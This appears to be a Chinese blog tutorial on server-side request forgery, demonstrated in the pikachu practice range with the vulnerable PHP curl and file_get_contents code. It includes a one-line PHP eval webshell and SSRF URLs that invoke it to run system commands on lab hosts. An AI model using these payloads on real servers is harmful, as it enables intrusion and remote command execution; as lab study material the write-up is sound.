SSRF漏洞
作者:互联网
SSRF漏洞
文章目录
pikachu靶场给出的解释:
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,**则请做好目标地址的过滤**。
这样看来还是比较抽象的,下面通过靶场学习具体操作
pikachu curl
靶场只有一个链接
点击之后是这样的
观察到这首诗是通过一个php文件加载的一个url
ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
将url的值换成baidu.com也是可以执行的
如果在服务端(phpstudy建站)的WWW文件夹下有一个shell.php,里面有一个phpinfo()函数
那么我们写
ssrf_curl.php?url=http://127.0.0.1/shell.php
也执行了
将shell.php内容改成一句话木马<?php @eval($_GET['cmd']); ?>
注意这里只能用GET方法然后在URL行传cmd键值对,因为shell.php是被引用的链接,无法传递POST参数
(应该说POST参数会作为ssrf_curl.php的参数,而不是shell.php的参数)
发现已经取得了webshell
这里shell.php是我们为了观察ssrf漏洞而自己建立的,真正的服务端应当是不存在的,但是可以通过sql注入或者文件上传或者文件包含传递一个shell.php,然后从这个可以ssrf攻击的网页利用一句话木马
后端逻辑
if(isset($_GET['url']) && $_GET['url'] != null){//判断前端是否传过来一个非空的url键值对
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
curl_init
初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
HTTP会话(session)
在计算机术语中,会话是指一个终端用户与交互系统进行通讯的过程,比如从输入账户密码进入操作系统到退出操作系统就是一个会话过程。会话较多用于网络上,TCP的三次握手就创建了一个会话,TCP关闭连接就是关闭会话。
curl
以下部分参考了curl 的用法指南 - 阮一峰的网络日志 (ruanyifeng.com)
curl 目标
相当于对目标发送一个GET请求比如本机位置
192.168.3.2
,服务器位置192.168.3.8
,服务器是使用phpstudy搭建的dvwa靶场,使用本机curl服务端C:\Users\86135>curl 192.168.3.8/dvwa <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://192.168.3.8/dvwa/">here</a>.</p> </body></html>
这一过程可以用wireshark清晰地观察
1.三次握手之后建立TCP连接
2.位于192.168.3.2的客户端向位于192.168.3.8的服务端发送GET请求,请求内容是192.168.3.8/dvwa,HTTP协议版本1.1
3.位于192.168.3.8的服务端回复位于192.168.3.2的客户端301状态码,表明会发生跳转
确实会发生跳转,在浏览器访问
http://192.168.3.8/dvwa
会自动跳转到http://192.168.3.8/dvwa/login.php
4.四次挥手释放TCP连接
回到pikachu靶场
如此看来,后端先curl_init然后又curl_setopt是为了连接做准备,
curl_exec真正建立了连接
那么我们在pikachu靶场中这样写:
http://192.168.171.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.3.8/dvwa
得到了命令行中"Moved Permanently"同样的效果
推测也会建立TCP连接
事实上也确实如此
也就是说php中的curl系列函数和cmd中的curl函数具有相同的功能
pikachu file_get_content
同理在127.0.0.1/
文件夹下有一个helloworld.html
文件,里面就一行helloworld
我们的pikachu靶场在http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php
靶场还是只有一个链接,点击之后是这样的
现在将file的值修改
发现helloworld被加载进入了页面中
执行一个shell文件也是可以的
后端逻辑
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}
file_get_contents
:The function returns the read data or false on failure.
这个函数的作用是读取数据,而不是执行文件
在http://192.168.171.1/shell.php?cmd=system("ipconfig");
执行完毕之后结果返回给file_get_contents函数然后echo到前端页面上
标签:SSRF,ssrf,pikachu,192.168,漏洞,file,curl,php 来源: https://blog.csdn.net/qq_26131031/article/details/123643703